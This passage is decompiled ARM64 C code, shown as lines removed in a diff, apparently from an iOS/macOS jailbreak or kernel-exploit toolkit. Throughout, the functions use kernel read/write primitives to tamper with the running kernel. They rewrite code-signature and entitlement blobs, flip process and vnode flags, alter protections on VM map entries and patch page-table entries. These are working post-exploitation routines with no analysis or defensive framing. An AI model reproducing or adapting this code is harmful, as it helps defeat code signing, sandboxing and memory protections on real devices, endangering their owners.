v63; // [xsp+50h] [xbp-60h] BYREF - int v64; // [xsp+5Ch] [xbp-54h] BYREF - - v64 = 0; - __size = 0LL; - v63 = 0LL; - v60 = 0LL; - v61 = 0LL; - v58 = 0LL; - v59 = 0LL; - v56 = 0LL; - v57 = 0LL; - if ( !a5 ) - return 0LL; - v8 = sub_2B94C(a1, a2, a3, a4, &v57); - if ( !v8 ) - return 0LL; - v9 = v8; - v10 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; - v11 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x40LL : 0x50LL; - v12 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x10LL : 0x20LL; - v13 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x78LL : 0x80LL; - v14 = 0x88LL; - v15 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x80LL : 0x88LL; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - { - v16 = 0x18LL; - } - else - { - v14 = 0x90LL; - v16 = 0x28LL; - } - if ( !kread64((_DWORD *)a1, v14 + v8, &v59) - || *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL && !kread64((_DWORD *)a1, v9 + 0x98, &v58) - || !kread64((_DWORD *)a1, v13 + v9, &v61) - || !kread64((_DWORD *)a1, v15 + v9, &v60) - || !kread32_outptr(a1, v12 + v9, &v64) - || (v64 & 1) == 0 - || !kread64((_DWORD *)a1, v10 + v9, (__int64 *)&__size) - || !kread64((_DWORD *)a1, v11 + v9, (__int64 *)&v63) ) - { - return 0LL; - } - v17 = 0LL; - if ( v63 && __size ) - { - if ( (unsigned int)kreadbuf_last_1(a1, v16 + v9, 8LL, (__int64)&v56) ) - { - v18 = (unsigned int *)malloc(__size); - if ( v18 ) - { - v19 = v18; - *(_QWORD *)(a5 + 0x60) = 0LL; - *(_OWORD *)(a5 + 0x40) = 0u; - *(_OWORD *)(a5 + 0x50) = 0u; - *(_OWORD *)(a5 + 0x20) = 0u; - *(_OWORD *)(a5 + 0x30) = 0u; - *(_OWORD *)a5 = 0u; - *(_OWORD *)(a5 + 0x10) = 0u; - if ( !(unsigned int)kreadbuf_last_1(a1, v63, __size, (__int64)v18) ) - goto LABEL_110; - *(_DWORD *)a5 = v64; - v20 = __size; - v21 = v63; - *(_QWORD *)(a5 + 8) = v9; - *(_QWORD *)(a5 + 0x10) = v20; - v22 = v57; - *(_QWORD *)(a5 + 0x18) = v21; - *(_QWORD *)(a5 + 0x20) = v22; - *(_QWORD *)(a5 + 0x28) = v56; - *(_DWORD *)(a5 + 0x44) = a2; - v23 = v61 ? (unsigned int)(v61 - v21) : 0LL; - *(_DWORD *)(a5 + 0x4C) = v23; - if ( v20 <= v23 ) - goto LABEL_110; - v24 = v60 ? (unsigned int)(v60 - v21) : 0LL; - *(_DWORD *)(a5 + 0x50) = v24; - if ( (_DWORD)v24 ) - { - if ( v20 <= v24 && ((*(_DWORD *)a1 & 0x5584001) != 0 || *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL) ) - goto LABEL_110; - } - v25 = v59 ? (unsigned int)(v59 - v21) : 0LL; - *(_DWORD *)(a5 + 0x54) = v25; - if ( (_DWORD)v25 ) - { - if ( v20 <= v25 ) - goto LABEL_110; - } - LODWORD(v21) = v58 - v21; - v21 = v58 ? (unsigned int)v21 : 0LL; - *(_DWORD *)(a5 + 0x58) = v21; - if ( (_DWORD)v21 ) - { - if ( v20 <= v21 ) - goto LABEL_110; - } - if ( *v19 == 0x20CDEFA ) - { - v55 = (unsigned int *)sub_326D0(); - if ( !v55 ) - goto LABEL_110; - v39 = sub_2F980(v19); - if ( v39 ) - { - v35 = v39; - if ( (unsigned int)sub_32650(v55, 0, (__int64)v39) != 0xFFFFFFFF ) - { - LODWORD(v37) = 0; - v40 = 0; - *(_DWORD *)(a5 + 0x30) = 1; - *(_QWORD *)(a5 + 0x38) = v55; - *(_DWORD *)(a5 + 0x40) = 0; -LABEL_104: - *(_DWORD *)(a5 + 0x5C) = v37; - v53 = sub_2C9B0(a5, v40, 0xFADE0C02); - if ( v53 ) - { - *(_DWORD *)(a5 + 0x48) = *((unsigned __int8 *)v53 + 0x24); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL - || !sub_2C9B0(a5, 7, 0xFADE7172) - || sub_2C9B0(a5, 5, 0xFADE7171) - || (unsigned int)sub_2D3F8(a5, 5u, 0xFADE7171) ) - { - v17 = 1LL; -LABEL_111: - free(v19); - return v17; - } - } -LABEL_110: - sub_2CB54(a5); - v17 = 0LL; - goto LABEL_111; - } -LABEL_83: - sub_2F9D4(v35); - } - } - else - { - if ( *v19 != 0xC00CDEFA ) - goto LABEL_110; - v55 = (unsigned int *)sub_326D0(); - if ( !v55 ) - goto LABEL_110; - v54 = v23; - v26 = v19[2]; - if ( v26 ) - { - v27 = 0; - v28 = bswap32(v26); - v29 = v19 + 4; - while ( 1 ) - { - v30 = v29; - v31 = v29[0xFFFFFFFF]; - v32 = bswap32(*v29); - if ( (unsigned int)v32 < v27 || v27 == 0 ) - v27 = v32; - v34 = sub_2F980((unsigned int *)((char *)v19 + v32)); - if ( !v34 ) - goto LABEL_84; - v35 = v34; - v36 = bswap32(v31); - if ( (unsigned int)sub_32650(v55, v36, (__int64)v34) == 0xFFFFFFFF ) - goto LABEL_83; - if ( *v35 == 0x20CDEFA ) - { - if ( v54 ) - { - if ( (_DWORD)v32 != v54 ) - goto LABEL_75; - goto LABEL_74; - } - if ( !v31 ) - { - v36 = 0; -LABEL_74: - *(_DWORD *)(a5 + 0x40) = v36; - } - } -LABEL_75: - v29 = v30 + 2; - if ( !--v28 ) - { - v37 = ((unsigned __int64)v27 + 0x7FFFFFFF4LL) >> 3; - goto LABEL_86; - } - } - } - LODWORD(v37) = 0xFFFFFFFE; -LABEL_86: - v40 = *(_DWORD *)(a5 + 0x40); - v41 = *v55; - if ( !(_DWORD)v41 ) - goto LABEL_103; - v42 = 0LL; - v43 = 0LL; - v44 = 0LL; - v45 = 0; - v46 = (unsigned int **)(*((_QWORD *)v55 + 1) + 8LL); - do - { - v47 = *((_DWORD *)v46 + 0xFFFFFFFE); - v48 = bswap32(**v46); - if ( v48 == 0xFADE0C02 ) - { - if ( v47 == v40 ) - v43 = *v46; - } - else if ( v48 == 0xFADE7171 && v47 == 5 ) - { - v45 = v42; - v44 = *v46; - } - ++v42; - v46 += 2; - } - while ( v41 != v42 ); - if ( !v44 ) - goto LABEL_103; - v49 = bswap32(v44[1]); - if ( !v43 || (v50 = v43[0xA], !(_DWORD)v50) || (v50 & 0x3FFF) != 0 ) - v50 = v49 + 1; - v51 = (char *)realloc(v44, v50); - if ( v51 ) - { - v52 = v51; - bzero(&v51[v49], v50 - v49); - *(_QWORD *)(*((_QWORD *)v55 + 1) + 0x10LL * v45 + 8) = v52; - v40 = *(_DWORD *)(a5 + 0x40); -LABEL_103: - *(_DWORD *)(a5 + 0x30) = 1; - *(_QWORD *)(a5 + 0x38) = v55; - goto LABEL_104; - } - } -LABEL_84: - sub_325DC(v55); - goto LABEL_110; - } - } - return 0LL; - } - return v17; -} - -//----- (000000000002EB4C) ---------------------------------------------------- -__int64 __fastcall sub_2EB4C(_DWORD *a1, unsigned int a2, unsigned __int64 a3, bool *a4) -{ - __int64 result; // x0 - int v7; // w8 - int v9; // w21 - int v12; // [xsp+Ch] [xbp-24h] BYREF - - result = 0LL; - v12 = 0; - v7 = a1[0x50]; - if ( v7 <= 0x2257 ) - { - if ( (unsigned int)(v7 - 0x1F53) >= 2 ) - { - if ( v7 != 0x1809 && v7 != 0x1C1B ) - return result; - v9 = 0x20000; -LABEL_18: - result = sub_33B98(a1, a2, a3); - if ( result ) - { - result = kreadbuf_last_1((__int64)a1, result + 0x48, 4LL, (__int64)&v12); - if ( (_DWORD)result ) - { - *a4 = (v12 & v9) != 0; - return 1LL; - } - } - return result; - } -LABEL_17: - v9 = 0x80000; - goto LABEL_18; - } - if ( v7 == 0x2258 || v7 == 0x2712 || v7 == 0x225C ) - goto LABEL_17; - return result; -} - -//----- (000000000002EC1C) ---------------------------------------------------- -__int64 __fastcall sub_2EC1C(_DWORD *a1, unsigned int a2, unsigned __int64 a3, int a4) -{ - __int64 result; // x0 - int v7; // w8 - int v9; // w22 - __int64 v12; // x21 - int v13; // w8 - int v14; // [xsp+Ch] [xbp-24h] BYREF - - result = 0LL; - v14 = 0; - v7 = a1[0x50]; - if ( v7 > 0x2257 ) - { - if ( v7 != 0x2258 && v7 != 0x2712 && v7 != 0x225C ) - return result; - } - else if ( (unsigned int)(v7 - 0x1F53) >= 2 ) - { - if ( v7 != 0x1809 && v7 != 0x1C1B ) - return result; - v9 = 0x20000; - goto LABEL_18; - } - v9 = 0x80000; -LABEL_18: - result = sub_33B98(a1, a2, a3); - if ( result ) - { - v12 = result + 0x48; - result = kreadbuf_last_1((__int64)a1, result + 0x48, 4LL, (__int64)&v14); - if ( (_DWORD)result ) - { - if ( a4 ) - v13 = v14 | v9; - else - v13 = v14 & ~v9; - v14 = v13; - return (unsigned int)kwritebuf_last_1((__int64)a1, v12, (__int64)&v14, 4LL) != 0; - } - } - return result; -} - -//----- (000000000002ED14) ---------------------------------------------------- -__int64 __fastcall sub_2ED14( - __int64 a1, - unsigned int a2, - unsigned __int64 a3, - mach_vm_size_t a4, - vm_prot_t a5, - int a6, - int a7) -{ - __int64 result; // x0 - int v15; // w27 - unsigned __int64 v16; // x19 - int v17; // w8 - int v18; // w9 - unsigned int v19; // w8 - unsigned __int64 v20; // x0 - __int64 v22; // x19 - unsigned __int64 v23; // x23 - unsigned __int64 v24; // x8 - unsigned __int64 v25; // x8 - size_t v26; // x25 - _QWORD *v27; // x27 - char v28; // w26 - __int64 v29; // x19 - int v31; // w2 - unsigned __int64 v32; // x0 - __int64 v33; // x8 - __int64 v34; // x9 - mach_vm_size_t v35; // x28 - mach_port_t v36; // w26 - unsigned __int64 v37; // x25 - mach_vm_address_t *v38; // x19 - _DWORD *v39; // x2 - unsigned __int64 v40; // x0 - unsigned __int64 v41; // x23 - _BOOL4 v42; // w0 - __int64 v43; // x8 - int v45; // w9 - __int64 v46; // x23 - kern_return_t v47; // w0 - __int64 v48; // x19 - mach_vm_address_t *v49; // x25 - mach_vm_address_t v50; // t1 - unsigned __int64 v51; // [xsp+10h] [xbp-130h] - int v52; // [xsp+10h] [xbp-130h] - vm_prot_t desired_access; // [xsp+18h] [xbp-128h] - vm_prot_t desired_accessa; // [xsp+18h] [xbp-128h] - int v55; // [xsp+1Ch] [xbp-124h] - int v56; // [xsp+1Ch] [xbp-124h] - unsigned int v57; // [xsp+20h] [xbp-120h] - int v58; // [xsp+24h] [xbp-11Ch] - unsigned __int64 v59; // [xsp+28h] [xbp-118h] - unsigned __int64 v60; // [xsp+30h] [xbp-110h] BYREF - mach_vm_address_t v61; // [xsp+38h] [xbp-108h] BYREF - unsigned __int64 v62; // [xsp+40h] [xbp-100h] BYREF - __int64 v63; // [xsp+48h] [xbp-F8h] BYREF - mach_vm_address_t address[2]; // [xsp+50h] [xbp-F0h] BYREF - __int128 v65; // [xsp+60h] [xbp-E0h] - __int128 v66; // [xsp+70h] [xbp-D0h] - __int128 v67; // [xsp+80h] [xbp-C0h] - __int128 v68; // [xsp+90h] [xbp-B0h] - __int128 v69; // [xsp+A0h] [xbp-A0h] - __int128 v70; // [xsp+B0h] [xbp-90h] - __int128 v71; // [xsp+C0h] [xbp-80h] - _DWORD v72[2]; // [xsp+D8h] [xbp-68h] BYREF - - result = sub_2DC40(a1, a2); - if ( (_DWORD)result ) - { - if ( !a4 ) - return 1LL; - result = sub_1F148(a2); - if ( (_DWORD)result ) - { - v15 = result; - result = sub_33D38(a1, a2, a3, &v60); - if ( result ) - { - v16 = result; - result = 0LL; - v17 = *(_DWORD *)(a1 + 0x140); - if ( v17 > 0x2257 ) - { - if ( v17 != 0x2258 && v17 != 0x2712 ) - { - v18 = 0x225C; -LABEL_12: - if ( v17 != v18 ) - return result; - } - } - else if ( (unsigned int)(v17 - 0x1F53) >= 2 ) - { - if ( v17 == 0x1809 ) - { - v58 = 0x40000; - v19 = 0xFFF7FEFF; -LABEL_14: - v57 = v19; - result = kread64((_DWORD *)a1, v16, (__int64 *)&v61); - if ( (_DWORD)result ) - { - v59 = v16; - if ( !*(_QWORD *)(a1 + 0x1F0) ) - { - v52 = a7; - v56 = a6; - v70 = 0u; - v71 = 0u; - v68 = 0u; - v69 = 0u; - v66 = 0u; - v67 = 0u; - *(_OWORD *)address = 0u; - v65 = 0u; - v35 = vm_page_size; - v36 = mach_task_self_; - if ( mach_vm_allocate(mach_task_self_, address, vm_page_size, 9) ) - return 0LL; - desired_accessa = a5; - v37 = 0LL; - v38 = &address[1]; - while ( 1 ) - { - v39 = (_DWORD *)v38[0xFFFFFFFF]; - *v39 = 0; - v40 = sub_33D38(a1, v36, (unsigned __int64)v39, &v62); - if ( v40 ) - { - v41 = v40; - if ( (unsigned int)kreadbuf_last_1(a1, v40, 8LL, (__int64)v72) ) - { - v42 = kread64((_DWORD *)a1, v41 + 0x20, &v63); - v43 = v63; - if ( v42 && v63 != 0 ) - { - v45 = v72[0]; - if ( (v72[0] & 0x80000000) != 0 && v72[0] == v72[1] ) - { - *(_DWORD *)(a1 + 0x1F8) = 0x30; - *(_QWORD *)(a1 + 0x1F0) = v43 - (unsigned int)(0x30 * v45); - } - } - } - } - v46 = *(_QWORD *)(a1 + 0x1F0); - if ( v37 > 0xE || v46 ) - break; - v47 = mach_vm_allocate(v36, v38++, v35, 9); - ++v37; - if ( v47 ) - goto LABEL_68; - } - LODWORD(v37) = v37 + 1; -LABEL_68: - v48 = (unsigned int)v37; - v49 = address; - a6 = v56; - do - { - v50 = *v49++; - mach_vm_deallocate(mach_task_self_, v50, v35); - --v48; - } - while ( v48 ); - a5 = desired_accessa; - a7 = v52; - if ( !v46 ) - return 0LL; - } - v20 = sub_2A190(a1, v61); - v61 = v20; - if ( !v20 || v20 == v59 ) - { - return 0LL; - } - else - { - v22 = v20; - desired_access = a5; - v23 = v15; - v24 = a4 % v15; - if ( v24 ) - v25 = v15 - v24; - else - v25 = 0LL; - v51 = v25 + a4; - v26 = (v25 + a4) / v15; - result = (__int64)calloc(v26, 8uLL); - if ( result ) - { - v27 = (_QWORD *)result; - v55 = a6; - v28 = 0; - do - { - if ( !(unsigned int)kreadbuf_last_1(a1, v22, 0x30LL, (__int64)address) ) - goto LABEL_66; - if ( (v28 & 1) != 0 ) - { - if ( (_DWORD)v63 != (_DWORD)v66 ) - goto LABEL_66; - } - else - { - LODWORD(v63) = v66; - } - v29 = *((_QWORD *)&v65 + 1); - if ( *((_QWORD *)&v65 + 1) >= v60 && *((_QWORD *)&v65 + 1) < v60 + a4 ) - { - if ( (WORD6(v66) & 0x140) == 0 ) - goto LABEL_66; - v31 = a7 ? HIDWORD(v66) & ~v58 : HIDWORD(v66) & v57 | v58; - if ( !noppl_kwrite32(a1, v61 + 0x2C, v31) ) - goto LABEL_66; - v27[(v29 - v60) / v23] = v61; - } - v61 = address[1]; - v32 = sub_2A190(a1, address[1]); - v61 = v32; - if ( !v32 ) - goto LABEL_66; - v22 = v32; - v28 = 1; - } - while ( v59 != v32 ); - if ( v51 >= v23 ) - { - v33 = 0LL; - v34 = v26; - if ( v26 <= 1 ) - v34 = 1LL; - while ( v27[v33] ) - { - if ( ++v33 == v34 ) - goto LABEL_47; - } -LABEL_66: - free(v27); - return 0LL; - } -LABEL_47: - free(v27); - if ( !v55 ) - return 1LL; - return mach_vm_wire(*(_DWORD *)(a1 + 0x1920), a2, a3, a4, desired_access) == 0; - } - } - } - return result; - } - v18 = 0x1C1B; - goto LABEL_12; - } - v58 = 0x3C0000; - v19 = 0xFC3FFEFF; - goto LABEL_14; - } - } - } - return result; -} - -//----- (000000000002F194) ---------------------------------------------------- -bool __fastcall sub_2F194(__int64 a1, unsigned int a2, int a3, int a4) -{ - unsigned int *v7; // x0 - _BOOL8 v8; // x19 - unsigned __int64 v10; // x9 - __int64 v11; // x8 - unsigned __int64 v12; // x10 - __int64 v13; // x11 - unsigned __int64 v14; // x8 - _BYTE v15[104]; // [xsp+8h] [xbp-88h] BYREF - - if ( !(unsigned int)sub_2C2F8(a1, a2, (__int64)v15) ) - return 0LL; - v7 = sub_2C9B0((__int64)v15, 0, 0xFADE0C02); - if ( v7 && bswap32(v7[2]) >> 0xA >= 0x81 ) - { - v10 = *((_QWORD *)v7 + 0xA); - v11 = 0x10LL; - if ( !a3 ) - v11 = 0LL; - v12 = bswap64(v10 & 0xAFFFFFFFFFFFFFFFLL); - v13 = 0x40LL; - if ( !a4 ) - v13 = 0LL; - v14 = v13 | v11 | v12; - if ( v14 == bswap64(v10) ) - { - v8 = 1LL; - goto LABEL_5; - } - *((_QWORD *)v7 + 0xA) = bswap64(v14); - if ( (unsigned int)sub_2CA2C((__int64)v15, 0, v7) ) - { - v8 = (unsigned int)sub_2CA80(a1, (__int64)v15) != 0; - goto LABEL_5; - } - } - v8 = 0LL; -LABEL_5: - sub_2CB54((__int64)v15); - return v8; -} - -//----- (000000000002F294) ---------------------------------------------------- -__int64 __fastcall sub_2F294(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - _BYTE v3[104]; // [xsp+8h] [xbp-68h] BYREF - - result = sub_2C2F8(a1, a2, (__int64)v3); - if ( (_DWORD)result ) - { - sub_2CB54((__int64)v3); - return 1LL; - } - return result; -} - -//----- (000000000002F2C8) ---------------------------------------------------- -unsigned __int64 sub_2F2C8() -{ - __int64 v0; // x0 - __int64 v1; // x2 - __int64 v2; // x19 - unsigned int v3; // w1 - unsigned int v4; // w21 - __int64 v5; // x20 - unsigned __int64 result; // x0 - unsigned __int64 v7; // x22 - _BOOL4 v9; // w8 - __int64 v10; // x1 - __int64 *v11; // x28 - __int64 v12; // x2 - unsigned __int64 v13; // x8 - char *v14; // x9 - __int64 v15; // x9 - __int64 v16; // x21 - int v17; // w0 - __int64 v18; // x23 - int v19; // w21 - char *v20; // x21 - bool v21; // zf - _BOOL4 v22; // w0 - unsigned int v23; // w8 - unsigned __int64 v24; // x24 - char *v25; // x27 - char *v26; // x28 - __int64 v27; // x8 - __int64 v28; // x24 - unsigned __int64 v29; // x23 - unsigned __int64 v30; // x24 - __int64 v31; // x9 - __int64 v32; // x10 - unsigned __int64 *v33; // x2 - _QWORD *v34; // x0 - unsigned __int64 v35; // x1 - __int64 v36; // x3 - __int64 *v37; // [xsp+10h] [xbp-11F0h] - int v38; // [xsp+18h] [xbp-11E8h] - int v39; // [xsp+1Ch] [xbp-11E4h] - unsigned __int64 v40; // [xsp+20h] [xbp-11E0h] - __int64 v41; // [xsp+28h] [xbp-11D8h] BYREF - unsigned int v42; // [xsp+30h] [xbp-11D0h] BYREF - unsigned int v43; // [xsp+34h] [xbp-11CCh] BYREF - unsigned __int64 v44; // [xsp+38h] [xbp-11C8h] BYREF - __int64 v45; // [xsp+40h] [xbp-11C0h] BYREF - unsigned __int64 v46; // [xsp+48h] [xbp-11B8h] BYREF - __int64 v47; // [xsp+50h] [xbp-11B0h] BYREF - __int64 v48; // [xsp+58h] [xbp-11A8h] BYREF - __int64 v49; // [xsp+60h] [xbp-11A0h] BYREF - int v50; // [xsp+6Ch] [xbp-1194h] BYREF - _BYTE v51[4]; // [xsp+70h] [xbp-1190h] BYREF - int __fd; // [xsp+74h] [xbp-118Ch] BYREF - __int64 v53; // [xsp+78h] [xbp-1188h] BYREF - mach_vm_address_t v54; // [xsp+80h] [xbp-1180h] BYREF - unsigned __int64 v55; // [xsp+88h] [xbp-1178h] BYREF - __int128 v56; // [xsp+90h] [xbp-1170h] BYREF - _OWORD v57[11]; // [xsp+A0h] [xbp-1160h] BYREF - __int64 v58; // [xsp+150h] [xbp-10B0h] - _QWORD v59[7]; // [xsp+160h] [xbp-10A0h] BYREF - _BYTE v60[20]; // [xsp+198h] [xbp-1068h] BYREF - unsigned int v61; // [xsp+1ACh] [xbp-1054h] - __int64 v62; // [xsp+1B8h] [xbp-1048h] BYREF - - v0 = __chkstk_darwin(); - v2 = v1; - v4 = v3; - v5 = v0; - v47 = 0LL; - v48 = 0LL; - v45 = 0LL; - v46 = 0LL; - v44 = 0LL; - result = sub_33E8C(v0, v3); - if ( result ) - { - v7 = result; - result = sub_2BBA4(v5, (int *)&v48 + 1, (int *)&v48); - if ( (_DWORD)result ) - { - if ( !kread64((_DWORD *)v5, v7 + HIDWORD(v48), &v47) || v47 == 0 ) - return 0LL; - result = sub_2E4E0((_DWORD *)v5, v4, &v46); - if ( !(_DWORD)result ) - return result; - result = sub_2BC80(v5, &v43, &v42); - if ( !(_DWORD)result ) - return result; - result = kread64((_DWORD *)v5, v47 + v43, &v45); - if ( !(_DWORD)result ) - return result; - if ( !v45 ) - return 0LL; - v9 = kread64((_DWORD *)v5, v45 + v42, (__int64 *)&v44); - result = 0LL; - if ( v9 ) - { - v10 = v44; - if ( v44 ) - { - v11 = &v62; - while ( 1 ) - { - v58 = 0LL; - memset(&v57[1], 0, 0xA0); - v12 = *(_QWORD *)(v5 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; - v56 = 0uLL; - v57[0] = 0uLL; - if ( !(unsigned int)kreadbuf_last_1(v5, v10, v12, (__int64)&v56) ) - break; - v13 = *(_QWORD *)(v5 + 0x158); - v14 = (char *)&v57[1] + 8; - if ( v13 <= 0x1F530F027FFFFFLL ) - v14 = (char *)v57 + 8; - if ( !(*(_QWORD *)v14 >> 0x1D) ) - { - v15 = 0x90LL; - if ( v13 > 0x1C1B19145FFFFFLL ) - v15 = 0x98LL; - if ( v13 > 0x1F52FFFFFFFFFFLL ) - v15 = 0xA8LL; - if ( v13 <= 0x1F530F027FFFFFLL ) - v16 = v15; - else - v16 = 0xA0LL; - if ( !kread64((_DWORD *)v5, v44 + v16, &v41) ) - break; - if ( v41 && (v2 == 0 || v41 == v2) ) - { - if ( !validate_addr(v5, v41) ) - break; - sub_2A63C(v5, v44 + v16, 0LL); - if ( !v17 ) - break; - if ( *(_QWORD *)(v5 + 0x158) > 0x1F52FFFFFFFFFFuLL ) - { - v40 = v44; - v18 = v46; - v54 = 0LL; - v55 = v46; - v53 = 0LL; - __fd = 0xFFFFFFFF; - if ( !(unsigned int)sub_31B90(v5, v47, &v54, &v53, &__fd) - || (v19 = __fd, (unsigned int)sub_3272C(__fd, (__int64)v60, 0x1000uLL, v18)) ) - { - v20 = 0LL; - v39 = 0; - goto LABEL_39; - } - v38 = v19; - v23 = v61; - v24 = v61 + 0x20; - if ( (unsigned int)v24 <= 0x1000 ) - { - v20 = 0LL; - v37 = v11; - v25 = (char *)v11; - } - else - { - v20 = (char *)malloc(v61 + 0x20); - if ( !v20 || (unsigned int)sub_3272C(v38, (__int64)v20, v24, v18) ) - { - v39 = 0; - goto LABEL_39; - } - v37 = v11; - v25 = v20 + 0x20; - v23 = *((_DWORD *)v20 + 5); - } - v26 = &v25[v23]; - if ( v25 >= v26 ) - { - v39 = 0; -LABEL_74: - v11 = v37; -LABEL_39: - if ( v54 ) - v21 = v53 == 0; - else - v21 = 1; - if ( !v21 ) - kwrite64(v5, v54, v53); - if ( __fd != 0xFFFFFFFF ) - close(__fd); - if ( v20 ) - free(v20); - if ( !v39 ) - break; - goto LABEL_49; - } - v39 = 0; - while ( 2 ) - { - if ( *(_DWORD *)v25 == 0x1D ) - { - v50 = 0xE; - v49 = 0x7F00000000000000LL; - v27 = 8LL; - if ( *(_QWORD *)(v5 + 0x158) <= 0x1F530F027FFFFFuLL ) - { - v28 = 0x18LL; - } - else - { - v27 = 0x18LL; - v28 = 0x28LL; - } - v29 = v27 + v40; - if ( (unsigned int)kreadbuf_last_1(v5, v27 + v40, 4LL, (__int64)v51) ) - { - if ( (unsigned int)kwritebuf_universal((_QWORD *)v5, v29, (__int64)&v50, 4LL) ) - { - v30 = v28 + v40; - if ( (unsigned int)kwritebuf_universal((_QWORD *)v5, v30, (__int64)&v49, 8LL) ) - { - v31 = *((unsigned int *)v25 + 2); - v32 = *((unsigned int *)v25 + 3); - v59[0] = v55; - v59[1] = v31; - v59[2] = v32; - if ( fcntl(v38, 0x3D, v59) ) - { - kwritebuf_universal((_QWORD *)v5, v29, (__int64)v51, 4LL); - v33 = &v55; - v34 = (_QWORD *)v5; - v35 = v30; - v36 = 8LL; - goto LABEL_69; - } - v39 = 1; - } - else - { - v33 = (unsigned __int64 *)v51; - v34 = (_QWORD *)v5; - v35 = v29; - v36 = 4LL; -LABEL_69: - kwritebuf_universal(v34, v35, (__int64)v33, v36); - } - } - } - } - v25 += *((unsigned int *)v25 + 1); - if ( v25 >= v26 ) - goto LABEL_74; - continue; - } - } - } - } -LABEL_49: - v22 = kread64((_DWORD *)v5, v44, (__int64 *)&v44); - v10 = v44; - if ( !v22 || !v44 ) - return v10 == 0; - } - v10 = v44; - return v10 == 0; - } - } - } - } - return result; -} -// 2F300: variable 'v1' is possibly undefined -// 2F304: variable 'v3' is possibly undefined -// 2F4FC: variable 'v17' is possibly undefined -// 48940: using guessed type __int64 __chkstk_darwin(void); - -//----- (000000000002F7BC) ---------------------------------------------------- -__int64 __fastcall sub_2F7BC(_DWORD *a1, int a2) -{ - __int64 result; // x0 - unsigned __int64 v5; // x20 - int v6; // w0 - unsigned int v7; // [xsp+8h] [xbp-28h] BYREF - unsigned int v8; // [xsp+Ch] [xbp-24h] BYREF - __int64 v9; // [xsp+10h] [xbp-20h] BYREF - __int64 v10; // [xsp+18h] [xbp-18h] BYREF - - v9 = 0LL; - v10 = 0LL; - result = sub_2BC80((__int64)a1, &v8, &v7); - if ( (_DWORD)result ) - { - if ( (unsigned int)sub_35938(a1, a2, &v10) ) - { - return 0LL; - } - else - { - result = kread64(a1, v10 + v8, &v10); - if ( (_DWORD)result ) - { - result = validate_addr((__int64)a1, v10); - if ( result ) - { - v5 = v10 + v7; - result = kread64(a1, v5, &v9); - if ( (_DWORD)result ) - { - if ( v9 ) - { - result = validate_addr((__int64)a1, v9); - if ( result ) - { - sub_2A63C((__int64)a1, v5, 0LL); - return v6 != 0; - } - } - else - { - return 1LL; - } - } - } - } - } - } - return result; -} -// 2F888: variable 'v6' is possibly undefined - -//----- (000000000002F898) ---------------------------------------------------- -unsigned __int64 __fastcall sub_2F898(_DWORD *a1, unsigned int a2, __int64 a3) -{ - unsigned __int64 result; // x0 - unsigned __int64 v6; // x21 - __int64 v7; // [xsp+8h] [xbp-28h] BYREF - - v7 = 0LL; - result = sub_32D6C((__int64)a1, a2); - if ( result ) - { - result = sub_329B8((__int64)a1, result); - if ( result ) - { - v6 = result; - result = kread64(a1, result, &v7); - if ( (_DWORD)result ) - { - if ( (v7 & 4) != 0 ) - return 1LL; - v7 |= a3 & 0xFFFFFFFFFFFFF000LL | 4; - result = sub_288A4((__int64)a1, v6, v7); - if ( (_DWORD)result ) - return 1LL; - } - } - } - return result; -} - -//----- (000000000002F92C) ---------------------------------------------------- -__int64 __fastcall sub_2F92C(__int64 result, int a2, int a3) -{ - unsigned int *v3; // x9 - __int64 v4; // x8 - - if ( result ) - { - if ( *(_DWORD *)(result + 0x30) == 1 && (v3 = *(unsigned int **)(result + 0x38), v4 = *v3, (_DWORD)v4) ) - { - for ( result = *((_QWORD *)v3 + 1); - *(_DWORD *)result != a2 || bswap32(**(_DWORD **)(result + 8)) != a3; - result += 0x10LL ) - { - if ( !--v4 ) - return 0LL; - } - } - else - { - return 0LL; - } - } - return result; -} - -//----- (000000000002F980) ---------------------------------------------------- -void *__fastcall sub_2F980(unsigned int *a1) -{ - size_t v2; // x21 - void *v3; // x0 - void *v4; // x19 - - v2 = bswap32(a1[1]); - v3 = malloc(v2); - v4 = v3; - if ( v3 ) - memcpy(v3, a1, v2); - return v4; -} - -//----- (000000000002F9D4) ---------------------------------------------------- -void __fastcall sub_2F9D4(_DWORD *a1) -{ - unsigned int v2; // w8 - __int64 vars8; // [xsp+18h] [xbp+8h] - - if ( a1 ) - { - v2 = a1[1]; - if ( v2 ) - bzero(a1, bswap32(v2)); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - free(a1); - } -} -// 2FA10: variable 'vars8' is possibly undefined - -//----- (000000000002FA24) ---------------------------------------------------- -void __fastcall sub_2FA24(__int64 a1) -{ - __int64 v2; // x20 - int *v3; // x21 - unsigned __int64 v4; // x24 - bool v5; // cc - unsigned __int64 v6; // x0 - unsigned __int64 v7; // x23 - __int64 v8; // x27 - __int64 v9; // x9 - unsigned __int64 v10; // x8 - _BOOL4 has_flag; // w0 - int v12; // w8 - _BOOL4 v13; // w23 - unsigned __int64 v14; // x0 - unsigned __int64 v15; // x25 - __int64 v16; // x27 - int v17; // w22 - int *v18; // x24 - __int64 v19; // x23 - _QWORD *v20; // x0 - _QWORD *v21; // x25 - int v22; // w25 - __int64 v23; // x25 - unsigned __int64 v24; // x27 - unsigned __int64 v25; // x8 - mach_vm_address_t v26; // x24 - int v27; // w24 - __int64 v28; // x23 - _BOOL4 v29; // w0 - unsigned __int64 v30; // x1 - int v31; // w23 - int v32; // w0 - char v33; // w24 - __int64 v34; // x2 - int v35; // w24 - unsigned __int64 v36; // x8 - unsigned int v37; // w10 - __int64 v38; // x2 - __int64 v39; // x8 - int v40; // w21 - unsigned __int64 v41; // x8 - unsigned int v42; // w23 - __int64 v43; // x9 - __int64 v44; // x25 - unsigned __int64 v45; // x9 - unsigned __int64 v46; // x8 - unsigned int 